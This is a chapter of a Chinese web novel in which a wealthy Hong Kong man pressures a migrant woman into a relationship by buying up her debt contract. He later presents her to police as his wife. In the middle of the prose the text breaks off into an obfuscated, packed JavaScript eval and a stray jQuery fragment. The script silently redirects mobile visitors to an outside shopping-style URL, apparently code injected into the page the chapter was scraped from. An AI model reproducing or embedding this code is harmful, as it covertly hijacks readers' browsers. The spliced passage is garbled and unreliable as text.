饭厅里是一张西式长桌,首尾各有沙发高椅,许立花在靠近门边的位置坐下,桌上玻璃瓶插几朵新鲜的山栀子,旁边摆一个银盘,放着切开的西柚与柠檬。
她拘谨地望着面前银质的餐具,映出她病中些许苍白的脸。
邓亦白叫来侍应搬来新椅子,快速扣好西装前扣,在距离她不近不远的位置坐下。
他自然地伸出手,握住冰凉的茶壶炳,往杯中添上热茶:
“不知许小姐口味,但我听内地过节有吃水饺的习俗,今日小满,希望还合你胃口。”
邓亦白按响桌上的铜铃,很快就有侍应端来两碗热气腾腾的瓷碗,里面的饺子摆得交错整齐,个个肥圆肉厚,躺在清澈汤底。
许立花无情戳破面皮,送入口中:“我是南方人,过节不吃水饺。”
邓亦白笑起来:“我也是南方人,不吃水饺,我们一起尝尝。”
半碗素饺下肚,餐桌上很快端来两碟海鱼,一碟陈皮海虹斑,另一碟却是带鱼,不过并不是荔城常见的红烧做法,反而雪白规整,只留中间净肉。
许立花心里存着事,看也没看,随手挑起一块带鱼往嘴里送,便猝不及防被温柔外表下藏匿起的细刺,扎到上颚。
鱼肉整块掉出来落到餐桌边缘,她极力克制地咳了几声,邓亦白抬手唤来侍应,请将两盘鱼都撤下去换副菜,他又将许立花倒出的鱼肉收拾,置于自己盘中:
“实在抱歉,我光想着许小姐在港岛吃不惯,会想念家乡菜,便拜托厨房做些荔城菜,却忘交待你尚在病中,不宜吃发物。是我失礼。”
许立花将筷子与刀叉放在一边,银质餐具发出叮里咣啷的碰撞;她不安地将视线挪到小花园里,暗香疏影,错落有致——
她哪里懂得用餐礼仪,只晓得既被刺痛,就要赶紧吐掉。
“邓先生,我也该对你讲句抱歉。”许立花说;
“我两次被遇险,都是多亏你的帮忙,尤其是昨天.....没有几个人在接到那个可怕的电话后,会带着赎金来救人,还是个面数不多的陌生人。”
“救人要紧。若付出一点钱就可以救一个生命,常人都会这样做的。”
他抿一口热茶,高挺的鼻梁阴影落在杯盏,笑道;
“再说,能让许小姐打电话给我,一定是真的遇到危险,怎么会骗我。”
许立花咬住唇角;“邓先生赶来的速度也很快。”
“是,真是万幸。昨日我想去旺角找许小姐归还照片,接到电话时我就在那附近,立刻就报了警,阿sir对我说,那伙人上一回被放出来,是因赌船封闭没有确凿证据,这一回,工厂门口有闭路电视,都拍下来了。到时只需去警局,配合做个笔录就好,不用担心。”
邓亦白拿出手帕从容地擦起嘴角,滴水不漏,坦荡地看着她。
“邓先生是个绅士。”她侧过脸,下巴低下来;
“不仅是救我的这两次,还有之前各种大忙小忙,或许这些于你而言只是举手之劳,我却因没由来的偏见质疑你,对你说了很多难听的话,真的对不起.....甚至,我还骗了你。”
邓亦白平静地望着她。
“其实钟述文,就是我托邓先生找的人,他并不是我的男友和亲属,但对我是个很重要的人,当初那样说,一来是我并没有亲属证明,怕您不帮我;二来......我怕您不是好人,便狐假虎威,亮个口号罢了。”
许立花顿了顿,绞了绞手掌的纱布;
“邓先生,我知我目前能力有限,暂时没法以同等价值来回报你对我的帮助,我也知,这也不是再写几张欠条就能还清的事,但我也不是不写的意思,我是说——”
“许小姐。”
邓亦白浅笑,温柔地打断她;“其实,我并非是不求回报的,但不是要你写欠条。”
她懵懂抬头;“什么?”
“许小姐方才提到,同等价值。”
小花园餐厅的香气馥郁迷人。
邓亦白双手交叠放在西裤,握住扳指底下盖住的那条,经年累月却仍在生长的暗红肉疤:
“邓某今年二十九,快要三十岁,自诩事业经济稳定,身体健康,也没有不良嗜好;从前我醉心工作,也无意寻找配偶,这些年长辈催促,我总是推脱,邓某内心始终认为,人生婚配只有一次,应当按照心意,寻一位真正喜欢的人。”
他笑起来,嘴边痣翘起:
“许小姐,我很喜欢你。”
“我希望你能以女友的身份,留在我身边。”
偏南风刮来,吹落玻璃瓶边缘的栀子花瓣。
许立花绞纱布的手扑了空,将她胸腔里的空气也一并吹走。
静默几秒,她僵硬地挤出一个难以名状的笑容:
“我不知道你在说什么。即便要报答,也不是只有这一种方式,何况我有男友了,你都看过照片了,钟述文,他还是你公司的——”
“可许小姐方才说,他并不是你男友。”
他温声打断,眼神如玉:“不过即便他真的是,也并不影响我对许小姐的心意。”
许立花脱口而出一句“荒谬”。
她嘴唇张了又张,攥紧掌心淤青,正极力忍住将那半碗饺子汤泼到邓亦白脸上的冲动,对方却悠悠翻开西装内袋,将一张盖了“租约”字样邮戳的纸置于桌上,徐徐拆开;
漫长无聊的英文墨水底下,印着一串活生生的名字,和触目惊心的红手印:
「许立花/1988年5月5日/签署」
【昨天有个大佬来饭店找经理,一口气买断了所有合同,十倍价格啊,合同还全都还给我们了】
昨日同事轻飘飘的几句闲聊话,此刻重重砸下来,挥之不去。
缠纱布的地方失了控,被抓出血迹;许立花踉跄几步,椅子发出锐利尖刺的刮啦声,她气愤至极,几乎是破口大骂:
“无.耻,混.蛋!你早知道我会拒绝你,所以你昨天来救我,说到底你邓亦白堂堂大老板,带那么多身强力壮的宾佬来,怎么会拧不过几个古惑仔呢?”
“可你还是没信心,怕我依然拒绝,一开始打着资助的名义包/养不成,于是干脆露出真面目了?恩威并施,买断了合同,全数还给饭店的外地职工们,唯读落下了我,你是想威胁我?对吗,你觉得我会为了钱,就屈就做你的情/人?混淡,做梦!”
“许小姐方才还夸奖我是绅士。”
邓亦白语气温吞,认真纠正道;“是女友,不是情/人,情/妇,情妹妹。”
他顿一下,又补充:“将来也会是唯一的妻子。”
“有区别吗。”许立花嗤笑;“你想要女友,满大街都是,何必用如此下作的手段?一个自诩文明的绅士,竟是如此可耻。”
她再也忍不住,吃力地攥紧了半碗饺子汤的瓷边,往邓亦白的方向抄起,狠狠泼过去——
温热带着怒意的汤水,一半泼在了邓亦白的灰西装,一半洒在许立花发.抖的肩上;她发泄一般,用力抹掉淌至唇角的眼泪,和汤油混在一起,搓出恶心的白泥。
邓亦白却只是安静站起来,衣冠楚楚,向她递来一张手帕,示意她擦净唇角的污泥;另一只手捏动手指上的蓝宝石扳指,扣在印有她姓名的欠款书上,笑意温润:
“立花。”
“我想内地与港岛,买这个字的含义应当没有什么区别。喜爱一件东西,便想要占据的心理,对我来说理所应当。”
素净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494427|202404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的旗袍裙摆剧烈晃动,许立花粗暴地抓过来,将手帕摔在地上。
邓亦白不恼,反而耐心地拆解起盘里那只,刚从某人嘴里掉出的多刺带鱼,他挑出整块完美的鱼肉,递到许立花嘴边,沉稳利落:
“立花小姐,你的名字,很衬你本人。”
-----
许立花几乎不记得是怎么离开的小花园餐厅。
一冷静下来,满脑都是邓亦白“威胁”她的场面,他仿佛天生没有情绪,永远是一张温润儒雅的好脸色,脱口而出的话又是如此惊世骇俗。
邓亦白说,和他结婚,她便不用再担心居留证的问题,可以申请正规合法的长期居留证,工作、读书都将不再受限制,不必再担惊受怕,某一天会因钻了规定漏洞的居留证,而被强制遣返。
听起来,就像是一场交易,交易品是她自己。
而且,他居然连她的居留证来源都知道得一清二楚?
这更加令她难过,直接狂奔离席。
“许小姐,你不能就这样走了。”阿癸着急忙慌跑来拦住她。
许立花已经拆掉所有纱布,皱眉;
“让开。不然要怎么走,难道要敲锣打鼓,跟邓亦白通报一声,十八相送吗。”
阿癸为难地挠起后脑勺的长疤;“是警局的阿sir上门,要找你和邓生做绑架案笔录的事情。”
她脸色微滞。
阿癸说;
“做笔录,可不是像在旺角抄摊那样会留手啊!偷渡者被查到的后果你知道吧!没记错的话,许小姐的居留证应该不是通过正当——许小姐,许小姐!”
雷虎下手很黑,踢的地方不致命却处处难以忍受;许立花已经是第二次从邓亦白的房子出去,这一回,却好像有什么东西在后面追她,慌乱地穿梭在奢华的房子里,有如珠光宝气的迷宫。
她又站在迷宫出口的两侧沥青车道。
一侧,是不远处的警笛爬上太平山,刮来阵大风,树叶都缩得往后退;另一侧,漆黑色的大车停在她面前,银色的狮首车标威严立在车头,只亮出半边獠牙,含蓄地吞下太平山顶的晨光。
“许小姐又要像在赌船上那日一样,不告而别吗?”
晨光逐渐熹微,邓亦白从车上下来,西装革履,红底牛津鞋,一如那天他在旺角档口,矜贵地放下两张闪闪发光的大金牛,去交换十七张廉价幼稚的普通印花稿。
恍然间,许立花捏紧了旗袍破口处的蹩脚针线。
港岛五月份的天气,总是晴时晒得慌,雨时闷得慌,朝云暮雨,湿热缠人;几个阿sir抹一把脖子的汗,只是每日清晨的例行巡逻,就可以甩下半斤盐水。
他们向公馆门口的几排宾佬保镖点头示意,轻叩眼前黑车的车窗:
“邓生,礼拜六也出门工作啊,勤力啊。”
车门打开,司机端来来几瓶早晨新煮的凉茶,倒在茶杯里,递给他们。
邓亦白下车,拢了拢衬衫领口,同他们握手:
“入夏天热,长官们早起出工辛苦,这不,我太太早上便感不适,若是中暑还好,只怕是蚊症,眼下我正着急带她去找医生看一看,还请各位长官通融通融。”
“当然当然,身体要紧嘛。”
几个阿sir互相对视,喝几口茶,尴尬地笑;
“不过,港岛新闻从未登过邓生结婚的消息,莫非是新婚,还没有公布?”
邓亦白手撑在半开的车窗,轻轻望着车内;
女孩杏眼低垂,倦意扫落小巧鼻梁的阴影,皮肉又薄又紧,如易碎的蝉翼,柔软裹住清丽;她察觉到目光,环伺了胳膊,往角落里躲。
他转身,笑容平和,说道:
“是,新婚。”